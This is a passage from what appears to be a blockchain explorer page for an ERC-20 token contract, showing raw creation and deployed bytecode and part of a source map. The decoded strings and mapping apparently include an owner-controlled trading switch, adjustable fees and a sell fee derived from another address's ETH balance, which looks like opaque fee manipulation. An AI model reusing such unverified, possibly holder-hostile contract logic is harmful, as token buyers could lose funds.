b816117a4565b60008060006060848603121561195c57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561198757600080fd5b81516110ab81611829565b634e487b7160e01b600052601160045260246000fd5b808201808211156103f8576103f8611992565b818103818111156103f8576103f8611992565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a345784516001600160a01b031683529383019391830191600101611a0f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611a7257634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176103f8576103f861199256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209a879dea7b702f0e325e4c1a4239ceb2f3e907ad749cb3456a67d2a65378dfd864736f6c63430008130033

Deployed Bytecode

0x60806040526004361061012e5760003560e01c8063715018a6116100ab57806398a5c3151161006f57806398a5c31514610319578063a2a957bb14610339578063a9059cbb14610359578063c9567bf914610379578063dd62ed3e14610381578063f2fde38b146103c757600080fd5b8063715018a6146102bb578063751039fc146102d05780638da5cb5b146102e55780638f9a55c01461030357806395d89b411461013a57600080fd5b80632fd689e3116100f25780632fd689e314610227578063313ce5671461023d57806349bd5a5e146102595780636d8aa8f81461027957806370a082311461029b57600080fd5b806306fdde031461013a578063095ea7b3146101795780631694505e146101a957806318160ddd146101e157806323b872dd1461020757600080fd5b3661013557005b600080fd5b34801561014657600080fd5b50604080518082018252600781526614995d1dd9595d60ca1b602082015290516101709190611756565b60405180910390f35b34801561018557600080fd5b506101996101943660046117bc565b6103e7565b6040519015158152602001610170565b3480156101b557600080fd5b506012546101c9906001600160a01b031681565b6040516001600160a01b039091168152602001610170565b3480156101ed57600080fd5b5068056bc75e2d631000005b604051908152602001610170565b34801561021357600080fd5b506101996102223660046117e8565b6103fe565b34801561023357600080fd5b506101f960155481565b34801561024957600080fd5b5060405160098152602001610170565b34801561026557600080fd5b506013546101c9906001600160a01b031681565b34801561028557600080fd5b50610299610294366004611837565b610467565b005b3480156102a757600080fd5b506101f96102b6366004611854565b6104b8565b3480156102c757600080fd5b506102996104da565b3480156102dc57600080fd5b5061029961054e565b3480156102f157600080fd5b506000546001600160a01b03166101c9565b34801561030f57600080fd5b506101f960145481565b34801561032557600080fd5b50610299610334366004611871565b61058c565b34801561034557600080fd5b5061029961035436600461188a565b6105bb565b34801561036557600080fd5b506101996103743660046117bc565b610631565b61029961063e565b34801561038d57600080fd5b506101f961039c3660046118bc565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103d357600080fd5b506102996103e2366004611854565b6109c5565b60006103f4338484610aaf565b5060015b92915050565b600061040b848484610bd3565b61045d843361045885604051806060016040528060288152602001611a8f602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061105a565b610aaf565b5060019392505050565b6000546001600160a01b0316331461049a5760405162461bcd60e51b8152600401610491906118f5565b60405180910390fd5b60138054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b0381166000908152600260205260408120546103f890611094565b6000546001600160a01b031633146105045760405162461bcd60e51b8152600401610491906118f5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105785760405162461bcd60e51b8152600401610491906118f5565b6d314dc6448d9338c15b0a00000000601455565b6000546001600160a01b031633146105b65760405162461bcd60e51b8152600401610491906118f5565b601555565b6000546001600160a01b031633146105e55760405162461bcd60e51b8152600401610491906118f5565b60018411156105f357600080fd5b600182111561060157600080fd5b600183111561060f57600080fd5b600181111561061d57600080fd5b600893909355600a91909155600955600b55565b60006103f4338484610bd3565b6000546001600160a01b031633146106685760405162461bcd60e51b8152600401610491906118f5565b601354600160a01b900460ff16156106c25760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610491565b6013805460ff60a01b1916600160a01b179055601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801561073a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075e919061192a565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107cf919061192a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561081c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610840919061192a565b601380546001600160a01b0319166001600160a01b03928316179055306000818152600460209081526040808320601280548716855292529091206d314dc6448d9338c15b0a000000009055549091169063f305d7199034906108a2816104b8565b6000806108b76000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561091f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109449190611947565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561099d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c19190611975565b5050565b6000546001600160a01b031633146109ef5760405162461bcd60e51b8152600401610491906118f5565b6001600160a01b038116610a545760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610491565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b115760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610491565b6001600160a01b038216610b725760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610491565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c375760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610491565b6001600160a01b038216610c995760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610491565b60008111610cfb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610491565b6000546001600160a01b03848116911614801590610d2757506000546001600160a01b03838116911614155b8015610d3c57506001600160a01b0383163014155b8015610d5157506001600160a01b0382163014155b15610f3757601354600160a01b900460ff16610dea576000546001600160a01b03848116911614610dea5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610491565b6013546001600160a01b03838116911614610e6f5760145481610e0c846104b8565b610e1691906119a8565b10610e6f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610491565b6000610e7a306104b8565b60155490915081108015908190610e9b5750601354600160a81b900460ff16155b8015610eb557506013546001600160a01b03868116911614155b8015610eca5750601354600160b01b900460ff165b8015610eef57506001600160a01b03851660009081526005602052604090205460ff16155b8015610f1457506001600160a01b03841660009081526005602052604090205460ff16155b15610f3457610f22826110b2565b478015610f3257610f324761122c565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610f7957506001600160a01b03831660009081526005602052604090205460ff165b80610fab57506013546001600160a01b03858116911614801590610fab57506013546001600160a01b03848116911614155b15610fb857506000611048565b6013546001600160a01b038581169116148015610fe357506012546001600160a01b03848116911614155b15610ff557600854600c55600954600d555b6013546001600160a01b03848116911614801561102057506012546001600160a01b03858116911614155b1561104857601154600a5461103e916001600160a01b031631611266565b600c55600b54600d555b611054848484846112a8565b50505050565b6000818484111561107e5760405162461bcd60e51b81526004016104919190611756565b50600061108b84866119bb565b95945050505050565b60008061109f6112d6565b90506110ab83826112f9565b9392505050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110fa576110fa6119ce565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611153573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611177919061192a565b8160018151811061118a5761118a6119ce565b6001600160a01b0392831660209182029290920101526012546111b09130911684610aaf565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906111e99085906000908690309042906004016119e4565b600060405180830381600087803b15801561120357600080fd5b505af1158015611217573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6010546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156109c1573d6000803e3d6000fd5b60006110ab83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061105a565b806112b5576112b561133b565b6112c0848484611369565b8061105457611054600e54600c55600f54600d55565b60008060006112e3611461565b90925090506112f282826112f9565b9250505090565b60006110ab83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114a3565b600c5415801561134b5750600d54155b1561135257565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061137c89886114d1565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113ae9087611266565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113dd9086611562565b6001600160a01b0389166000908152600260205260409020556113ff816115c1565b611409848361160b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161144e91815260200190565b60405180910390a3505050505050505050565b600654600090819068056bc75e2d6310000061147d82826112f9565b82101561149a5750506006549268056bc75e2d6310000092509050565b90939092509050565b600081836114c45760405162461bcd60e51b81526004016104919190611756565b50600061108b8486611a55565b60008060008060008060008060006114ee8a600c54600d5461162f565b92509250925060006114fe6112d6565b905060008060006115118e878787611684565b925092509250601160009054906101000a90046001600160a01b03166001600160a01b03168f6001600160a01b03160361154a57600092505b919e909d50909b509399509197509550909350505050565b60008061156f83856119a8565b9050838110156110ab5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610491565b60006115cb6112d6565b905060006115d983836116d4565b306000908152600260205260409020549091506115f69082611562565b30600090815260026020526040902055505050565b6006546116189083611266565b6006556007546116289082611562565b6007555050565b6000808080611649606461164389896116d4565b906112f9565b9050600061165c60646116438a896116d4565b905060006116748261166e8b86611266565b90611266565b9992985090965090945050505050565b600080808061169388866116d4565b905060006116a188876116d4565b905060006116af88886116d4565b905060006116c18261166e8686611266565b939b939a50919850919650505050505050565b6000826000036116e6575060006103f8565b60006116f28385611a77565b9050826116ff8583611a55565b146110ab5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610491565b600060208083528351808285015260005b8181101561178357858101830151858201604001528201611767565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146117b957600080fd5b50565b600080604083850312156117cf57600080fd5b82356117da816117a4565b946020939093013593505050565b6000806000606084860312156117fd57600080fd5b8335611808816117a4565b92506020840135611818816117a4565b929592945050506040919091013590565b80151581146117b957600080fd5b60006020828403121561184957600080fd5b81356110ab81611829565b60006020828403121561186657600080fd5b81356110ab816117a4565b60006020828403121561188357600080fd5b5035919050565b600080600080608085870312156118a057600080fd5b5050823594602084013594506040840135936060013592509050565b600080604083850312156118cf57600080fd5b82356118da816117a4565b915060208301356118ea816117a4565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561193c57600080fd5b81516110ab816117a4565b60008060006060848603121561195c57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561198757600080fd5b81516110ab81611829565b634e487b7160e01b600052601160045260246000fd5b808201808211156103f8576103f8611992565b818103818111156103f8576103f8611992565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a345784516001600160a01b031683529383019391830191600101611a0f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611a7257634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176103f8576103f861199256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209a879dea7b702f0e325e4c1a4239ceb2f3e907ad749cb3456a67d2a65378dfd864736f6c63430008130033

Deployed Bytecode Sourcemap

4106:12403:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6103:83;;;;;;;;;;-1:-1:-1;6173:5:0;;;;;;;;;;;-1:-1:-1;;;6173:5:0;;;;6103:83;;;;6173:5;6103:83;:::i;:::-;;;;;;;;7035:193;;;;;;;;;;-1:-1:-1;7035:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7035:193:0;1023:187:1;5337:41:0;;;;;;;;;;-1:-1:-1;5337:41:0;;;;-1:-1:-1;;;;;5337:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;5337:41:0;1215:229:1;6383:95:0;;;;;;;;;;-1:-1:-1;4668:20:0;6383:95;;;1595:25:1;;;1583:2;1568:18;6383:95:0;1449:177:1;7237:446:0;;;;;;;;;;-1:-1:-1;7237:446:0;;;;;:::i;:::-;;:::i;5588:57::-;;;;;;;;;;;;;;;;6291:83;;;;;;;;;;-1:-1:-1;6291:83:0;;4344:1;2234:36:1;;2222:2;2207:18;6291:83:0;2092:184:1;5385:28:0;;;;;;;;;;-1:-1:-1;5385:28:0;;;;-1:-1:-1;;;;;5385:28:0;;;15588:101;;;;;;;;;;-1:-1:-1;15588:101:0;;;;;:::i;:::-;;:::i;:::-;;6487:138;;;;;;;;;;-1:-1:-1;6487:138:0;;;;;:::i;:::-;;:::i;1579:148::-;;;;;;;;;;;;;:::i;15699:80::-;;;;;;;;;;;;;:::i;1363:79::-;;;;;;;;;;-1:-1:-1;1401:7:0;1428:6;-1:-1:-1;;;;;1428:6:0;1363:79;;5529:52;;;;;;;;;;;;;;;;15396:139;;;;;;;;;;-1:-1:-1;15396:139:0;;;;;:::i;:::-;;:::i;14814:529::-;;;;;;;;;;-1:-1:-1;14814:529:0;;;;;:::i;:::-;;:::i;6634:199::-;;;;;;;;;;-1:-1:-1;6634:199:0;;;;;:::i;:::-;;:::i;15787:719::-;;;:::i;6842:184::-;;;;;;;;;;-1:-1:-1;6842:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;6991:18:0;;;6959:7;6991:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6842:184;1736:244;;;;;;;;;;-1:-1:-1;1736:244:0;;;;;:::i;:::-;;:::i;7035:193::-;7137:4;7159:39;192:10;7182:7;7191:6;7159:8;:39::i;:::-;-1:-1:-1;7216:4:0;7035:193;;;;;:::o;7237:446::-;7369:4;7386:36;7396:6;7404:9;7415:6;7386:9;:36::i;:::-;7433:220;7456:6;192:10;7504:138;7560:6;7504:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7504:19:0;;;;;;:11;:19;;;;;;;;192:10;7504:33;;;;;;;;;;:37;:138::i;:::-;7433:8;:220::i;:::-;-1:-1:-1;7671:4:0;7237:446;;;;;:::o;15588:101::-;1491:6;;-1:-1:-1;;;;;1491:6:0;192:10;1491:22;1483:67;;;;-1:-1:-1;;;1483:67:0;;;;;;;:::i;:::-;;;;;;;;;15655:11:::1;:26:::0;;;::::1;;-1:-1:-1::0;;;15655:26:0::1;-1:-1:-1::0;;;;15655:26:0;;::::1;::::0;;;::::1;::::0;;15588:101::o;6487:138::-;-1:-1:-1;;;;;6600:16:0;;6553:7;6600:16;;;:7;:16;;;;;;6580:37;;:19;:37::i;1579:148::-;1491:6;;-1:-1:-1;;;;;1491:6:0;192:10;1491:22;1483:67;;;;-1:-1:-1;;;1483:67:0;;;;;;;:::i;:::-;1686:1:::1;1670:6:::0;;1649:40:::1;::::0;-1:-1:-1;;;;;1670:6:0;;::::1;::::0;1649:40:::1;::::0;1686:1;;1649:40:::1;1717:1;1700:19:::0;;-1:-1:-1;;;;;;1700:19:0::1;::::0;;1579:148::o;15699:80::-;1491:6;;-1:-1:-1;;;;;1491:6:0;192:10;1491:22;1483:67;;;;-1:-1:-1;;;1483:67:0;;;;;;;:::i;:::-;4618:8:::1;15751:14;:20:::0;15699:80::o;15396:139::-;1491:6;;-1:-1:-1;;;;;1491:6:0;192:10;1491:22;1483:67;;;;-1:-1:-1;;;1483:67:0;;;;;;;:::i;:::-;15487:19:::1;:40:::0;15396:139::o;14814:529::-;1491:6;;-1:-1:-1;;;;;1491:6:0;192:10;1491:22;1483:67;;;;-1:-1:-1;;;1483:67:0;;;;;;;:::i;:::-;14995:1:::1;14978:13;:18;;14948:49;;;::::0;::::1;;15051:1;15036:11;:16;;15008:45;;;::::0;::::1;;15113:1;15095:14;:19;;15064:51;;;::::0;::::1;;15171:1;15155:12;:17;;15126:47;;;::::0;::::1;;15186:14;:30:::0;;;;15227:15:::1;:32:::0;;;;15270:12:::1;:26:::0;15307:13:::1;:28:::0;14814:529::o;6634:199::-;6739:4;6761:42;192:10;6785:9;6796:6;6761:9;:42::i;15787:719::-;1491:6;;-1:-1:-1;;;;;1491:6:0;192:10;1491:22;1483:67;;;;-1:-1:-1;;;1483:67:0;;;;;;;:::i;:::-;15857:11:::1;::::0;-1:-1:-1;;;15857:11:0;::::1;;;15856:12;15848:47;;;::::0;-1:-1:-1;;;15848:47:0;;4641:2:1;15848:47:0::1;::::0;::::1;4623:21:1::0;4680:2;4660:18;;;4653:30;4719:25;4699:18;;;4692:53;4762:18;;15848:47:0::1;4439:347:1::0;15848:47:0::1;15906:11;:18:::0;;-1:-1:-1;;;;15906:18:0::1;-1:-1:-1::0;;;15906:18:0::1;::::0;;16046:15:::1;:34:::0;;-1:-1:-1;;;;;;16046:34:0::1;15992:42;16046:34:::0;;::::1;::::0;;;16125:26:::1;::::0;;-1:-1:-1;;;16125:26:0;;;;15992:42;;16125:24:::1;::::0;:26:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;15992:42;16125:26:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;16107:70:0::1;;16186:4;16193:16;-1:-1:-1::0;;;;;16193:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16107:110;::::0;-1:-1:-1;;;;;;16107:110:0::1;::::0;;;;;;-1:-1:-1;;;;;5277:15:1;;;16107:110:0::1;::::0;::::1;5259:34:1::0;5329:15;;5309:18;;;5302:43;5194:18;;16107:110:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16091:13;:126:::0;;-1:-1:-1;;;;;;16091:126:0::1;-1:-1:-1::0;;;;;16091:126:0;;::::1;;::::0;;16250:4:::1;-1:-1:-1::0;16230:26:0;;;:11:::1;:26;::::0;;;;;;;16265:15:::1;::::0;;;::::1;16230:52:::0;;;;;;;4618:8:::1;16230:58:::0;;16299:15;;;::::1;::::0;:31:::1;::::0;16338:9:::1;::::0;16363:24:::1;16250:4:::0;16363:9:::1;:24::i;:::-;16388:1;16390::::0;16392:7:::1;1401::::0;1428:6;-1:-1:-1;;;;;1428:6:0;;1363:79;16392:7:::1;16299:117;::::0;::::1;::::0;;;-1:-1:-1;;;;;;16299:117:0;;;-1:-1:-1;;;;;5715:15:1;;;16299:117:0::1;::::0;::::1;5697:34:1::0;5747:18;;;5740:34;;;;5790:18;;;5783:34;;;;5833:18;;;5826:34;5897:15;;;5876:19;;;5869:44;16400:15:0::1;5929:19:1::0;;;5922:35;5631:19;;16299:117:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;16434:13:0::1;::::0;16465:15:::1;::::0;16427:71:::1;::::0;-1:-1:-1;;;16427:71:0;;-1:-1:-1;;;;;16465:15:0;;::::1;16427:71;::::0;::::1;6453:51:1::0;-1:-1:-1;;6520:18:1;;;6513:34;16434:13:0;::::1;::::0;-1:-1:-1;16427:29:0::1;::::0;6426:18:1;;16427:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;15837:669;15787:719::o:0;1736:244::-;1491:6;;-1:-1:-1;;;;;1491:6:0;192:10;1491:22;1483:67;;;;-1:-1:-1;;;1483:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1825:22:0;::::1;1817:73;;;::::0;-1:-1:-1;;;1817:73:0;;7010:2:1;1817:73:0::1;::::0;::::1;6992:21:1::0;7049:2;7029:18;;;7022:30;7088:34;7068:18;;;7061:62;-1:-1:-1;;;7139:18:1;;;7132:36;7185:19;;1817:73:0::1;6808:402:1::0;1817:73:0::1;1927:6;::::0;;1906:38:::1;::::0;-1:-1:-1;;;;;1906:38:0;;::::1;::::0;1927:6;::::1;::::0;1906:38:::1;::::0;::::1;1955:6;:17:::0;;-1:-1:-1;;;;;;1955:17:0::1;-1:-1:-1::0;;;;;1955:17:0;;;::::1;::::0;;;::::1;::::0;;1736:244::o;8259:369::-;-1:-1:-1;;;;;8386:19:0;;8378:68;;;;-1:-1:-1;;;8378:68:0;;7417:2:1;8378:68:0;;;7399:21:1;7456:2;7436:18;;;7429:30;7495:34;7475:18;;;7468:62;-1:-1:-1;;;7546:18:1;;;7539:34;7590:19;;8378:68:0;7215:400:1;8378:68:0;-1:-1:-1;;;;;8465:21:0;;8457:68;;;;-1:-1:-1;;;8457:68:0;;7822:2:1;8457:68:0;;;7804:21:1;7861:2;7841:18;;;7834:30;7900:34;7880:18;;;7873:62;-1:-1:-1;;;7951:18:1;;;7944:32;7993:19;;8457:68:0;7620:398:1;8457:68:0;-1:-1:-1;;;;;8536:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8588:32;;1595:25:1;;;8588:32:0;;1568:18:1;8588:32:0;;;;;;;8259:369;;;:::o;8637:2077::-;-1:-1:-1;;;;;8759:18:0;;8751:68;;;;-1:-1:-1;;;8751:68:0;;8225:2:1;8751:68:0;;;8207:21:1;8264:2;8244:18;;;8237:30;8303:34;8283:18;;;8276:62;-1:-1:-1;;;8354:18:1;;;8347:35;8399:19;;8751:68:0;8023:401:1;8751:68:0;-1:-1:-1;;;;;8838:16:0;;8830:64;;;;-1:-1:-1;;;8830:64:0;;8631:2:1;8830:64:0;;;8613:21:1;8670:2;8650:18;;;8643:30;8709:34;8689:18;;;8682:62;-1:-1:-1;;;8760:18:1;;;8753:33;8803:19;;8830:64:0;8429:399:1;8830:64:0;8922:1;8913:6;:10;8905:64;;;;-1:-1:-1;;;8905:64:0;;9035:2:1;8905:64:0;;;9017:21:1;9074:2;9054:18;;;9047:30;9113:34;9093:18;;;9086:62;-1:-1:-1;;;9164:18:1;;;9157:39;9213:19;;8905:64:0;8833:405:1;8905:64:0;1401:7;1428:6;-1:-1:-1;;;;;8987:15:0;;;1428:6;;8987:15;;;;:32;;-1:-1:-1;1401:7:0;1428:6;-1:-1:-1;;;;;9006:13:0;;;1428:6;;9006:13;;8987:32;:57;;;;-1:-1:-1;;;;;;9023:21:0;;9039:4;9023:21;;8987:57;:80;;;;-1:-1:-1;;;;;;9048:19:0;;9062:4;9048:19;;8987:80;8983:968;;;9092:11;;-1:-1:-1;;;9092:11:0;;;;9087:144;;1401:7;1428:6;-1:-1:-1;;;;;9132:15:0;;;1428:6;;9132:15;9124:91;;;;-1:-1:-1;;;9124:91:0;;9445:2:1;9124:91:0;;;9427:21:1;9484:2;9464:18;;;9457:30;9523:34;9503:18;;;9496:62;9594:33;9574:18;;;9567:61;9645:19;;9124:91:0;9243:427:1;9124:91:0;9257:13;;-1:-1:-1;;;;;9251:19:0;;;9257:13;;9251:19;9248:146;;9324:14;;9315:6;9299:13;9309:2;9299:9;:13::i;:::-;:22;;;;:::i;:::-;:39;9291:87;;;;-1:-1:-1;;;9291:87:0;;10139:2:1;9291:87:0;;;10121:21:1;10178:2;10158:18;;;10151:30;10217:34;10197:18;;;10190:62;-1:-1:-1;;;10268:18:1;;;10261:33;10311:19;;9291:87:0;9937:399:1;9291:87:0;9411:28;9442:24;9460:4;9442:9;:24::i;:::-;9520:19;;9411:55;;-1:-1:-1;9496:43:0;;;;;;;9558:18;;-1:-1:-1;9570:6:0;;-1:-1:-1;;;9570:6:0;;;;9569:7;9558:18;:43;;;;-1:-1:-1;9588:13:0;;-1:-1:-1;;;;;9580:21:0;;;9588:13;;9580:21;;9558:43;:58;;;;-1:-1:-1;9605:11:0;;-1:-1:-1;;;9605:11:0;;;;9558:58;:87;;;;-1:-1:-1;;;;;;9621:24:0;;;;;;:18;:24;;;;;;;;9620:25;9558:87;:114;;;;-1:-1:-1;;;;;;9650:22:0;;;;;;:18;:22;;;;;;;;9649:23;9558:114;9554:386;;;9693:38;9710:20;9693:16;:38::i;:::-;9779:21;9823:22;;9819:106;;9870:35;9883:21;9870:12;:35::i;:::-;9674:266;9554:386;9069:882;;8983:968;-1:-1:-1;;;;;10029:24:0;;9964:12;10029:24;;;:18;:24;;;;;;9979:4;;10029:24;;;:50;;-1:-1:-1;;;;;;10057:22:0;;;;;;:18;:22;;;;;;;;10029:50;10028:102;;;-1:-1:-1;10093:13:0;;-1:-1:-1;;;;;10085:21:0;;;10093:13;;10085:21;;;;:44;;-1:-1:-1;10116:13:0;;-1:-1:-1;;;;;10110:19:0;;;10116:13;;10110:19;;10085:44;10024:628;;;-1:-1:-1;10157:5:0;10024:628;;;10241:13;;-1:-1:-1;;;;;10233:21:0;;;10241:13;;10233:21;:55;;;;-1:-1:-1;10272:15:0;;-1:-1:-1;;;;;10258:30:0;;;10272:15;;10258:30;;10233:55;10230:162;;;10321:14;;10309:9;:26;10364:12;;10354:7;:22;10230:162;10452:13;;-1:-1:-1;;;;;10446:19:0;;;10452:13;;10446:19;:55;;;;-1:-1:-1;10485:15:0;;-1:-1:-1;;;;;10469:32:0;;;10485:15;;10469:32;;10446:55;10442:196;;;10554:17;;10534:15;;:46;;-1:-1:-1;;;;;10554:17:0;:25;10534:19;:46::i;:::-;10522:9;:58;10609:13;;10599:7;:23;10442:196;10665:41;10680:4;10686:2;10690:6;10698:7;10665:14;:41::i;:::-;8740:1974;8637:2077;;;:::o;2348:224::-;2468:7;2504:12;2496:6;;;;2488:29;;;;-1:-1:-1;;;2488:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2528:9:0;2540:5;2544:1;2540;:5;:::i;:::-;2528:17;2348:224;-1:-1:-1;;;;;2348:224:0:o;7692:202::-;7787:7;7812:19;7834:10;:8;:10::i;:::-;7812:32;-1:-1:-1;7862:24:0;:7;7812:32;7862:11;:24::i;:::-;7855:31;7692:202;-1:-1:-1;;;7692:202:0:o;10723:483::-;5687:6;:13;;-1:-1:-1;;;;5687:13:0;-1:-1:-1;;;5687:13:0;;;10825:16:::1;::::0;;10839:1:::1;10825:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10825:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10825:16:0::1;10801:40;;10870:4;10852;10857:1;10852:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10852:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10896:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10896:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10852:7;;10896:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10886:4;10891:1;10886:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10886:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10961:15:::1;::::0;10929:62:::1;::::0;10946:4:::1;::::0;10961:15:::1;10979:11:::0;10929:8:::1;:62::i;:::-;11002:15;::::0;:196:::1;::::0;-1:-1:-1;;;11002:196:0;;-1:-1:-1;;;;;11002:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11083:11;;11002:15:::1;::::0;11125:4;;11152::::1;::::0;11172:15:::1;::::0;11002:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5723:6:0;:14;;-1:-1:-1;;;;5723:14:0;;;-1:-1:-1;;;;10723:483:0:o;11215:101::-;11272:19;;:36;;-1:-1:-1;;;;;11272:19:0;;;;:36;;;;;11301:6;;11272:19;:36;:19;:36;11301:6;11272:19;:36;;;;;;;;;;;;;;;;;;;2203:136;2261:7;2288:43;2292:1;2295;2288:43;;;;;;;;;;;;;;;;;:3;:43::i;11327:282::-;11483:7;11478:28;;11492:14;:12;:14::i;:::-;11517:44;11535:6;11543:9;11554:6;11517:17;:44::i;:::-;11